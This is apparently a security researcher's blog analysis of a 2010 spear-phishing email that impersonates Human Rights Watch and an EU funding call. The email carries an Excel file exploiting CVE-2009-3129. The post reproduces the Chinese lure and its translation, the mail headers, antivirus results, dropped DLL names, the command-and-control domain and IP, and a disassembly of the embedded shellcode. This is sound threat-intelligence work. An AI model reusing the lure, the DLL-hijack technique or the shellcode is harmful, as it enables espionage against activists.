May 28 CVE-2009-3129 XLS for office 2002-2007 with fud keylogger EIDHR from david@humanright-watch.org

http://contagiodump.blogspot.com/2010/06/may-28-cve-2009-3129-xls-for-office.html

CVE-2009-3129 Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, aka "Excel Featheader Record Memory Corruption Vulnerability." 

Update: Noticed an ineresting post by Nart Villeneuve (Internet Censorship Explorer) regarding this malware and decided to update and resurrect the post 

July 29, 2010 Human Rights and Malware Attacks

 Download  4f681733fd9e473c09f967fa87c9faef  EIDHR.xls and all the files described below as a password protected archive (contact me if you need the password)

From: david@humanright-watch.org [mailto:david@humanright-watch.org] On Behalf Of ??
Sent: Friday, May 28, 2010 2:31 AM
To: XXXXXX
Subject: 關於EIDHR項目

諸位
關於EIDHR歐洲人權項目我詳細咨詢了歐盟的朋友，爲了使申請能順利通過，還須補充一些資料，具體資料項目和内容概要都附在後面了，祝各位順利。
張英

From: SHARPE Simon (RELEX-BEIJING)
Sent: Monday, May 24, 2010 6:15 PM
Subject: FW: EIDHR 项目征求书

大家好：
 
欧盟现在有一个EIDHR的项目征求。项目的目的在于资助推动人权的项目，涵盖的领域很广泛。大家可以跟其他感兴趣的朋友分享这个信息。
 
项目活动的主题
具有以下主题的计划书会受到优先考虑：
1. 思考自由，宗教自由和信仰自由的权利
2. 言论和表达的自由，包括艺术和文化的表达，信息和沟通的权利，包括媒体自由，反对审查和网络自由
3. 和平集会和结社自由的权利，包括建立和参加工会的权利
4. 在一国境内自由行动的权利，离开任何国家（包括本国）和回到本国的权利
 
项目活动
项目活动可以包括从监督，倡导，公开信息，提高意识到能力建设，培训以及与利益攸关者对话等一系列形式。最终目标都是为了提高所在国的公民社会组织的自主权。
项目的资助总额最低为15万欧元，最高为120万欧元。项目的延续时间应不少于18个月，但不超过3年。比较重要的是附件中的项目指导，首先需要提交一个简短的项目概念书，申请的最后期限是6月15日。项目申请时要填写链接中的Annex A,B,C 等表格。
申请有两种方法：
1. 通过PADOR系统注册申请。http://ec.europa.eu/europeaid/onlineservices/pador/index_en.htm
2. 或将申请所需的项目概念书以及表格A,B,C寄往如下地址：
邮寄地址
 
European Commission
EuropeAid Co-operation Office
   Unit F4 – Finances, Contracts and Audit for thematic budget lines
   Call for Proposals Sector
   Office: L-41 03/154
   B - 1049 Brussels
BELGIUM
 
快递地址
 
European Commission   
            EuropeAid Cooperation Office
Unit F4 – Finances, Contracts and Audit for thematic budget lines
   Call for Proposals Sector          
   Office: L-41 03/154
            Central Mail Service     
            Avenue du Bourget 1    
            B-1140 Brussels (Evère)
BELGIUM
 
关于项目的具体内容在https://webgate.ec.europa.eu/europeaid/onlineservices/index.cfm?do=publi.welcome&nbPubliList=15&orderby=upd&orderbyad=Desc&searchtype=RS&aofr=126352
如果需要更多的信息，请随时与我们联系。谢谢！
 
欧盟驻华代表团夏明
See machine translation in the end

Headers

Received: (qmail 3230 invoked from network); 28 May 2010 06:31:58 -0000
Received: from static-ip-251-116-134-202.rev.dyxnet.com (HELO mx02.diaocha8.com) (202.134.116.251)  by XXXXXXXXXXXXXXXXXXX with SMTP; 28 May 2010 06:31:58 -0000
Received: from sppfszwr (unknown [180.98.74.10])
    by mx02.diaocha8.com (EMOS V1.5 (Postfix)) with ESMTPA id 37B71109A81
    for
Reply-To:
Sender: david@humanright-watch.org
Message-ID:
From: =?utf-8?B?5by16Iux?=
To: XXXXXXXXXXXXXXX
Subject: =?utf-8?B?6Zec5pa8RUlESFLpoIXnm64=?=
Date: Fri, 28 May 2010 14:31:10 +0800

Hostname:    180.98.74.10
ISP:    CHINANET jiangsu province network
Organization:    CHINANET jiangsu province network
State/Region:    Jiangsu
City:    Suzhou

AS4134

-
File EIDHR.xls received on 2010.06.02 04:13:50 (UTC)
http://www.virustotal.com/analisis/8b8960a855603393190152439c64ac9fd16655b304d472ecb83422900369a266-1275452030
Result: 17/41 (41.47%)
a-squared    5.0.0.26    2010.06.02    Trojan-Dropper.MSExcel.Agent!IK
AntiVir    8.2.1.242    2010.06.01    TR/Drop.MSExcel.Agent.BC
Antiy-AVL    2.0.3.7    2010.06.01    Trojan/MSExcel.Agent
Authentium    5.2.0.5    2010.06.02    MSExcel/Dropper.B!Camelot
BitDefender    7.2    2010.06.02    Exploit.D-Encrypted.Gen
F-Secure    9.0.15370.0    2010.06.02    Exploit.D-Encrypted.Gen
GData    21    2010.06.02    Exploit.D-Encrypted.Gen
Ikarus    T3.1.1.84.0    2010.06.02    Trojan-Dropper.MSExcel.Agent
Jiangmin    13.0.900    2010.05.31    Heur:Exploit.CVE-2009-3129
Kaspersky    7.0.0.125    2010.06.02    Trojan-Dropper.MSExcel.Agent.bc
McAfee-GW-Edition    2010.1    2010.06.02    Heuristic.BehavesLike.Exploit.X97.CodeExec.EBEB
Norman    6.04.12    2010.06.01    ShellCode.B
nProtect    2010-06-01.02    2010.06.01    Exploit.D-Encrypted.Gen
PCTools    7.0.3.5    2010.06.02    HeurEngine.MaliciousExploit
Symantec    20101.1.0.89    2010.06.02    Bloodhound.Exploit.306
TrendMicro    9.120.0.1004    2010.06.02    TROJ_MDROPR.MRV
TrendMicro-HouseCall    9.120.0.1004    2010.06.02    TROJ_MDROPR.MRV
Additional information
File size: 64166 bytes
MD5...: 4f681733fd9e473c09f967fa87c9faef

Excel successfully opens, displaying hello, and a Chinese font set as default. The properties show that it was created on a Lenovo (Beijing) Limited laptop.

Files created

1. D52EF63FDC5C5452D9DA23BD6D4BF0F5 %userprofile%\Local Settings\Temp\1001.tmp11kb  0/41 Virustotal
2. D52EF63FDC5C5452D9DA23BD6D4BF0F5 C:\WINDOWS\ntshrui.dll  11kb  0/41 Virustotal
3. A363ABE09A44176386C50EE887359270 %userprofile%\Local Settings\Temp\set.xls  17kb  -clean spreadsheet you see above
   
   
   
   

Upon reboot, it is copied to system32 as well

File: ntshrui.dll
MD5:  d52ef63fdc5c5452d9da23bd6d4bf0f5
Size: 10720

Handle,            Owner,                     Object,
0x01710000    1660: explorer.exe    C:\WINDOWS\ntshrui.dll
0x76990000    1660: explorer.exe    C:\WINDOWS\system32\ntshrui.dll

Virustotal 

http://www.virustotal.com/analisis/accaf7b5ca9d35fe9c7e8442fc7baeaaeef5702d3c65522314edf3e0495ed398-1275476466

 File ntshrui.dll received on 2010.06.02 11:01:06 (UTC)
Result: 0/41 (0%)
Additional information
File size: 10720 bytes
MD5...: d52ef63fdc5c5452d9da23bd6d4bf0f5

The file ntshrui.dll is digitally signed - signature is invalid

JinDiQIAO@hotmail.com

Certificate is issued by Root Agency

TCP Traffic to   117.85.151.96:3460    360liveupdate.com

 360liveupdate.com    117.85.151.96

360liveupdate.com  is a domain controlled by two name servers at oray.net.
Having a total of four IP numbers. All four of them are on different IP networks.
The name server peanutmail.newpeanut.idc  stated in SOA record is not in the list of name servers. 360liveupdate.com  has one IP number.
ctt.hk, 8jy.cn, ghcn.cn, 33cc.cn, jhcp.cn and at least 56 other hosts share name servers with this domain.
360liveupdate.com is hosted on a server in China.
Reputation is not yet known.It is not listed in any blacklists.Search for 360liveupdate.com.

http://www.robtex.com/dns/360liveupdate.com.html#whois
Domain Name: 360LIVEUPDATE.COM
Registrar: XIN NET TECHNOLOGY CORPORATION
Whois Server: whois.paycenter.com.cn
Referral URL: http://www.xinnet.com
Name Server: NS1.ORAY.NET
Name Server: NS2.ORAY.NET
Status: ok
Updated Date: 29-jul-2009
Creation Date: 29-jul-2009
Expiration Date: 29-jul-2010


 Hostname:    117.85.151.96
ISP:    CHINANET jiangsu province network
Organization:    CHINANET jiangsu province network
Type:    Broadband
State/Region:    Jiangsu
City:    Wuxi

==============================================

Keylogging

In a few minutes after the reboot, we find a file named Explorer in the %systemroot%
 Explorer is  a text log of all explorer.exe activities. This is a common type of keylogger, see the picture below

Vicheck results

https://www.vicheck.ca/malware.php?hash=4f681733fd9e473c09f967fa87c9faef
Shellcode Scan: Shellcode @ 3084. 00000C0C 1000 adc [eax],al 00000C0E D007 rol byte [edi],1 00000C10 48 dec eax 00000C11 005000 add [eax+0x0],dl 00000C14 2000 and [eax],al 00000C16 4C dec esp 00000C17 006100 add [ecx+0x0],ah 00000C1A 7300 jnc 0xc1c 00000C1C 65007200 add [gs:edx+0x0],dh 00000C20 4A dec edx 00000C21 006500 add [ebp+0x0],ah 00000C24 7400 jz 0xc26 00000C26 2000 and [eax],al 00000C28 50 push eax 00000C29 0032 add [edx],dh 00000C2B 0030 add [eax],dh 00000C2D 0031 add [ecx],dh 00000C2F 003500200053 add [0x53002000],dh 00000C35 006500 add [ebp+0x0],ah 00000C38 7200 jc 0xc3a 00000C3A 690065007300 imul eax,[eax],dword 0x730065 00000C40 2000 and [eax],al 00000C42 50 push eax 00000C43 004300 add [ebx+0x0],al 00000C46 4C dec esp 00000C47 0020 add [eax],ah 00000C49 003500650000 add [0x6500],dh 00000C4F 00496E add [ecx+0x6e],cl 00000C52 7075 jo 0xcc9 00000C54 7442 jz 0xc98 00000C56 696E00464F524D imul ebp,[esi+0x0],dword 0x4d524f46 00000C5D 53 push ebx 00000C5E 4F dec edi 00000C5F 55 push ebp 00000C60 52 push edx 00000C61 43 inc ebx 00000C62 45 inc ebp 00000C63 005245 add [edx+0x45],dl 00000C66 53 push ebx 00000C67 44 inc esp 00000C68 4C dec esp 00000C69 4C dec esp 00000C6A 00556E add [ebp+0x6e],dl 00000C6D 69726573444C4C imul esi,[edx+0x65],dword 0x4c4c4473 00000C74 004850 add [eax+0x50],cl 00000C77 50 push eax 00000C78 43 inc ebx 00000C79 6F outsd 00000C7A 6D insd 00000C7B 706F jo 0xcec 00000C7D 7369 jnc 0xce8 00000C7F 7465 jz 0xce6 00000C81 55 push ebp 00000C82 53 push ebx 00000C83 42 inc edx 00000C84 47 inc edi 00000C85 657453 gs jz 0xcdb 00000C88 657269 gs jc 0xcf4 00000C8B 61 popa 00000C8C 6C insb 00000C8D 4E dec esi 00000C8E 756D jnz 0xcfd 00000C90 626572 bound esp,[ebp+0x72] 00000C93 006870 add [eax+0x70],ch 00000C96 7064 jo 0xcfc 00000C98 7671 jna 0xd0b 00000C9A 3031 xor [ecx],dh 00000C9C 2E646C fs insb 00000C9F 6C insb 00000CA0 5F pop edi 00000CA1 67657444 gs a16 jz 0xce9 00000CA5 657669 gs jna 0xd11 00000CA8 636553 arpl [ebp+0x53],sp 00000CAB 657269 gs jc 0xd17 00000CAE 61 popa 00000CAF 6C insb 00000CB0 4E dec esi 00000CB1 756D jnz 0xd20 00000CB3 626572 bound esp,[ebp+0x72] 00000CB6 57 push edi 00000CB7 004850 add [eax+0x50],cl 00000CBA 50 push eax 00000CBB 49 dec ecx 00000CBC D6 salc 00000CBD 7713 ja 0xcd2 00000CBF 00B2771300DE add [edx+0xde001377],dh 00000CC5 7713 ja 0xcda 00000CC7 00BA771300E6 add [edx+0xe6001377],bh 00000CCD 7713 ja 0xce2 00000CCF 00EB add bl,ch 00000CD1 1A7130 sbb dh,[ecx+0x30] 00000CD4 312E xor [esi],ebp 00000CD6 646C fs insb 00000CD8 D6 salc 00000CD9 7713 ja 0xcee 00000CDB 00B2771300DE add [edx+0xde001377],dh 00000CE1 7713 ja 0xcf6 00000CE3 00BA771300E6 add [edx+0xe6001377],bh 00000CE9 7713 ja 0xcfe 00000CEB 00EB add bl,ch 00000CED 225700 and dl,[edi+0x0] 00000CF0 52 push edx 00000CF1 65736F gs jnc 0xd63 00000CF4 6C insb 00000CF5 7574 jnz 0xd6b 00000CF7 696F6E00363030 imul ebp,[edi+0x6e],dword 0x30303600 00000CFE 647069 fs jo 0xd6a 00000D01 004F72 add [edi+0x72],cl 00000D04 69656E74617469 imul esp,[ebp+0x6e],dword 0x69746174 00000D0B 6F outsd 00000D0C 6E outsb 00000D0D 00504F add [eax+0x4f],dl 00000D10 EB18 jmp short 0xd2a 00000D12 5F pop edi 00000D13 57 push edi 00000D14 5E pop esi 00000D15 33DB xor ebx,ebx 00000D17 B96B010000 mov ecx,0x16b 00000D1C AC lodsb 00000D1D C0C806 ror al,0x6 00000D20 34FE xor al,0xfe 00000D22 AA stosb 00000D23 43 inc ebx 00000D24 3BD9 cmp ebx,ecx 00000D26 7407 jz 0xd2f 00000D28 EBF2 jmp short 0xd1c 00000D2A E8E3FFFFFF call 0xd12 00000D2F EA5D845F8E8CA7 jmp 0xa78c:0x8e5f845d 00000D36 730B jnc 0xd43 00000D38 13B3A65D3F5D adc esi,[ebx+0x5d3f5da6] 00000D3E AF scasd 00000D3F BC5DA3B8D4 mov esp,0xd4b8a35d 00000D44 5D pop ebp 00000D45 AF scasd 00000D46 BDDDEE805F mov ebp,0x5f80eedd 00000D4B 8F db 0x8F 00000D4C B05D mov al,0x5d 00000D4E BF7FEE805F mov edi,0x5f80ee7f 00000D53 8F db 0x8F 00000D54 A15DBF7FEE mov eax,[0xee7fbf5d] 00000D59 805DA3B7 sbb byte [ebp-0x5d],0xb7 00000D5D 7FE2 jg 0xd41 00000D5F 80C50F add ch,0xf 00000D62 BFBFBF5CEE mov edi,0xee5cbfbf 00000D67 884EEE mov [esi-0x12],cl 00000D6A 81BFBFBFBF5DE088 cmp dword [edi+0x5dbfbfbf],0x458088e0 -8045 00000D74 B52A mov ch,0x2a 00000D76 6AAB push byte -0x55 00000D78 D14040 rol dword [eax+0x40],1 00000D7B 40 inc eax 00000D7C 40 inc eax 00000D7D 338F031442CB xor ecx,[edi+0xcb421403] 00000D83 DDEC fucomp st4 00000D85 82 db 0x82 00000D86 A968854EBF test eax,0xbf4e8568 00000D8B BFBFDCE28B mov edi,0x8be2dcbf 00000D90 7FE2 jg 0xd74 00000D92 81DD3A287FE0 sbb ebp,0xe07f283a 00000D98 82 db 0x82 00000D99 5F pop edi 00000D9A EE out dx,al 00000D9B 81BE9F70BFE24B25 cmp dword [esi+0xe2bf709f],0xa5be254b -BEA5 00000DA5 BFBBBFBFA5 mov edi,0xa5bfbfbb 00000DAA BFBFBBBF25 mov edi,0x25bfbbbf 00000DAF BF40EA89DD mov edi,0xdd89ea40 00000DB4 EE out dx,al 00000DB5 844EEE test [esi-0x12],cl 00000DB8 83BFBFBFBF5FEE cmp dword [edi+0x5fbfbfbf],byte -0x12 00000DBF 83BE25BF25BF25 cmp dword [esi+0xbf25bf25],byte +0x25 00000DC6 BF40E28340 mov edi,0x4083e240 00000DCB EA8A7D8FE2AE25 jmp 0x25ae:0xe28f7d8a 00000DD2 BF25BFDCE0 mov edi,0xe0dcbf25 00000DD7 8C6AA5 mov [edx-0x5b],gs 00000DDA BFBFBBBF40 mov edi,0x40bfbbbf 00000DDF E284 loop 0xd65 00000DE1 40 inc eax 00000DE2 E283 loop 0xd67 00000DE4 40 inc eax 00000DE5 EA8B7D8FA2365D jmp 0x5d36:0xa28f7d8b 00000DEC E284 loop 0xd72 00000DEE DF30 fbstp tword [eax] 00000DF0 8B4CFB87 mov ecx,[ebx+edi*8-0x79] 00000DF4 E24E loop 0xe44 00000DF6 D1BF69BFBFEF sar dword [edi+0xefbfbf69],1 00000DFC 5D pop ebp 00000DFD EE out dx,al 00000DFE 8C5F85 mov [edi-0x7b],ds 00000E01 BD718D6052 mov ebp,0x52608d71 00000E06 DFB0F343C000 fbstp tword [eax+0xc043f3] 00000E0C 42 inc edx 00000E0D E284 loop 0xd93 00000E0F 45 inc ebp 00000E10 3E45 ds inc ebp 00000E12 15453F4516 adc eax,0x16453f45 00000E17 5F pop edi 00000E18 CF iret 00000E19 BE5DEA845D mov esi,0x5d84ea5d 00000E1E E8835DBEFB call 0xfbbe6ba6 00000E23 7F0F jg 0xe34 00000E25 40 inc eax 00000E26 8785F1404040 xchg eax,[ebp+0x404040f1] 00000E2C 2BE6 sub esp,esi 00000E2E E7A6 out 0xa6,eax 00000E30 2EE5A4 cs in eax,0xa4 00000E33 E6BF out 0xbf,al 00000E35 6BE6A2 imul esp,esi,byte -0x5e 00000E38 2EE5A4 cs in eax,0xa4 00000E3B E6AB out 0xab,al 00000E3D 64E524 fs in eax,0x24 00000E40 A2E623BF2A mov [0x2abf23e6],al 00000E45 E523 in eax,0x23 00000E47 A2E2E7A4EF mov [0xefa4e7e2],al 00000E4C A4 movsb 00000E4D A4 movsb 00000E4E 6467BFBF456F5D fs a16 mov edi,0x5d6f45bf 00000E55 AB stosd 00000E56 B96AEB2B2A mov ecx,0x2a2beb6a 00000E5B 5D pop ebp 00000E5C 327FE2 xor bh,[edi-0x1e] 00000E5F 808043162829E9 add byte [eax+0x29281643],0xe9 00000E66 68A23E5F0E push dword 0xe5f3ea2 00000E6B BE2DE2855D mov esi,0x5d85e22d 00000E70 AD lodsd 00000E71 B9750DCBC7 mov ecx,0xc7cb0d75 00000E76 5D pop ebp 00000E77 AB stosd 00000E78 B67F mov dh,0x7f 00000E7A EA807FCB73CD26 jmp 0x26cd:0x73cb7f80 00000E81 5D pop ebp 00000E82 3DCBC7CBC7 cmp eax,0xc7cbc7cb 00000E87 5D pop ebp 00000E88 AB stosd 00000E89 B87FEA807F mov eax,0x7f80ea7f 00000E8E CB retf 00000E8F 5D pop ebp 00000E90 3B7FEA cmp edi,[edi-0x16] 00000E93 80694047 sub byte [ecx+0x40],0x47 00000E97 E7CD out 0xcd,eax 00000E99 4F dec edi




===============================

From: david@humanright-watch.org [mailto: david@humanright-watch.org] On Behalf Of??Sent: Friday, May 28, 2010 2:31 AMTo: XXXXXXSubject: About EIDHR ProjectOf youEIDHR European project on detailed consultation with my friends in the EU, in order to apply a smooth, they still need to add some information, specific items of information and content outline are attached to the back, and wish you well.Zhang YingFrom: SHARPE Simon (RELEX-BEIJING)Sent: Monday, May 24, 2010 6:15 PMSubject: FW: EIDHR project request for proposalsHello, everybody:
 The EU now has a EIDHR projects seek. The purpose of the project is funded projects to promote human rights, covering a wide area. We can share with other interested friends to this information.
 The theme of project activitiesThe plan has the following themes will be given priority:1. Thinking, freedom of religion and belief and freedom2. Freedom of speech and freedom of expression, including arts and cultural expression, information and communication rights, including media freedom, freedom against censorship and network3. Peaceful assembly and freedom of association rights, including the right to establish and join trade unions4. In a country the right to freedom of movement, to leave any country (including their own) and the right to return to their
 Project activitiesProject activities can range from monitoring, advocacy, public information, raising aware of capacity building, training, and dialogue with stakeholders and a series of forms. Ultimate goal is to improve the country's civil society organizations autonomy.The minimum total project funding of 15 million euros, up 120 million euros. Project duration should be less than 18 months, but not more than 3 years. More important is the annex of the project steering, first need to submit a brief project concept book, the application deadline is June 15. Project application to fill out the link in the Annex A, B, C and so on form.There are two ways to apply:1. PADOR system through the application for registration. http://ec.europa.eu/europeaid/onlineservices/pador/index_en.htm2. Or to apply for the Project Idea and the Form A, B, C Mailing Address:Mailing address
 European CommissionEuropeAid Co-operation Office
   Unit F4 - Finances, Contracts and Audit for thematic budget lines
   Call for Proposals Sector
   Office: L-41 03/154
   B - 1049 BrusselsBELGIUM
 Express Address
 European Commission
            EuropeAid Cooperation OfficeUnit F4 - Finances, Contracts and Audit for thematic budget lines
   Call for Proposals Sector
   Office: L-41 03/154
            Central Mail Service
            Avenue du Bourget 1
            B-1140 Brussels (Evère)BELGIUM
 Details on the project in https: / / webgate.ec.europa.eu / europeaid / onlineservices / index.cfm? Do = publi.welcome & nbPubliList = 15 & orderby = upd & orderbyad = Desc & searchtype = RS & aofr = 126352If you need more information, please feel free to contact us. Thank you!
 EU Delegation Ming Xia